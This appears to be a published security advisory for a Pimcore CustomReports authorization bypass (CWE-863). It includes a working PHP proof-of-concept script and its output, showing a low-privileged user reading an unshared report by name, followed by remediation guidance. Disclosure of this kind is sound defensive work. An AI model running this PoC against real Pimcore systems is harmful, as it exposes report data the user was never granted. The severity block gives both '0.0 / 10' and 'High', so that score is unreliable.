GHSA-jwcc-gv4m-93x6 CVE-2026-45704
Pimcore has a CustomReports Share Bypass
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.03% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
12.3.6- Upgrade pimcore/pimcore to this version or later
Description
Summary
CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.
- The listing flow filters reports based on report-sharing rules
- The detail flow only checks generic
reportsorreports_configpermissions
As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
- The report
poc-secret-reportwas not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name
Root Cause
The listing flow in getReportConfigAction() filters reports through loadForGivenUser():
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)
- CustomReportController.php
- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)
- Config/Listing/Dao.php
However, getAction() only checks generic permissions and then loads the report directly by name:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)
- CustomReportController.php
- CustomReportController.php
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
Impact
An attacker can read sensitive report metadata without authorization, including:
- Report name
- Grouping information
- Display and icon metadata
- Data source configuration
- Column configuration
- Sharing settings
From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)
- CustomReportController.php
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
reportspermission - The target report is not globally shared and is not shared with that user or the user's roles
PoC
<?php
declare(strict_types=1);
use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_customreports');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_customreports');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
$auditor->setPermissions(['reports']);
$auditor->setRoles([]);
$auditor->save();
$timestamp = time();
SettingsStore::set(
'poc-secret-report',
json_encode([
'name' => 'poc-secret-report',
'niceName' => 'PoC Secret Report',
'group' => 'Audit',
'dataSourceConfig' => [['type' => 'sql']],
'columnConfiguration' => [],
'shareGlobally' => false,
'sharedUserNames' => ['admin'],
'sharedRoleNames' => [],
'menuShortcut' => true,
'creationDate' => $timestamp,
'modificationDate' => $timestamp,
], JSON_THROW_ON_ERROR),
SettingsStore::TYPE_STRING,
'pimcore_custom_reports'
);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new CustomReportController(), $container, $tokenResolver);
$listRequest = new Request();
$requestStack->push($listRequest);
$listResponse = $controller->getReportConfigAction($listRequest);
$requestStack->pop();
$listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$getRequest = new Request(['name' => 'poc-secret-report']);
$requestStack->push($getRequest);
$getResponse = $controller->getAction($getRequest);
$requestStack->pop();
$getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);
echo json_encode([
'vulnerability' => 'customreports_share_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_report' => [
'name' => 'poc-secret-report',
'shared_to' => ['admin'],
'share_globally' => false,
],
'result' => [
'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
'listed_report_names' => $listedNames,
'direct_get_returned_name' => $getData['name'] ?? null,
'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_customreportswith thereportspermission. - Create a report named
poc-secret-reportwith:shareGlobally = falsesharedUserNames = ['admin']
- As
auditor_customreports, request the visible report list and verify thatpoc-secret-reportis absent. - As the same user, call
getAction(name=poc-secret-report)directly. - Verify that the response still contains the report configuration.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php
Reproduction Result
Relevant PoC output:
{
"vulnerability": "customreports_share_bypass",
"user": {
"name": "auditor_customreports",
"permissions": [
"reports"
]
},
"target_report": {
"name": "poc-secret-report",
"shared_to": [
"admin"
],
"share_globally": false
},
"result": {
"report_visible_in_list": false,
"listed_report_names": [],
"direct_get_returned_name": "poc-secret-report",
"direct_get_shared_user_names": [
"admin"
]
}
}
This shows that:
- The current user cannot see the report in the visible report list
- The same user can still retrieve the report configuration directly
This confirms that the share-bypass issue is practically exploitable.
Security Impact
- Unauthorized disclosure of report configuration
- Disclosure of sharing scope and internal report structure
- Potential leakage of data-source and query organization details
- Useful reconnaissance for follow-on unauthorized execution or export paths
Remediation
- Add object-level sharing checks to
getAction()equivalent toloadForGivenUser(). - Centralize authorization into a single "can current user access this report?" function reused by
get,data,chart,create-csv, anddownload-csv. - Return
403for unshared reports. - Add regression tests to ensure that users with
reportspermission but without report-sharing access cannot retrieve report details.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| pimcore/pimcore | >= 12.0.0-RC1, < 12.3.6 |
12.3.6 |
| pimcore/pimcore | < 11.5.17 |
11.5.17 |
| pimcore/pimcore | >= 2026.1.0, < 2026.1.2 |
2026.1.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pimcore/pimcore Packagist → 12.3.6
- composer
composer require pimcore/pimcore:^12.3.6
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-23rh-xw42-fq82 Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration | High | Also affects pimcore/pimcore |
| GHSA-9x44-4gxf-8c25 Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name | Critical | Also affects pimcore/pimcore |
| GHSA-w23p-wrp7-ch38 Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502) | Critical | Also affects pimcore/pimcore |
| GHSA-2mhj-fhvg-v428 Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name | High | Also affects pimcore/pimcore |
| GHSA-7p36-fq2r-4h7r Pimcore CMS Twig Sandbox Bypass via SecurityPolicy checkMethodAllowed | High | Also affects pimcore/pimcore |
| GHSA-332x-r494-54fq Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export | Medium | Also affects pimcore/pimcore |
| GHSA-wc7j-g8wx-m2qx Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling | High | Also affects pimcore/pimcore |
| GHSA-36fc-7wjg-mfvj Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction | High | Also affects pimcore/pimcore |
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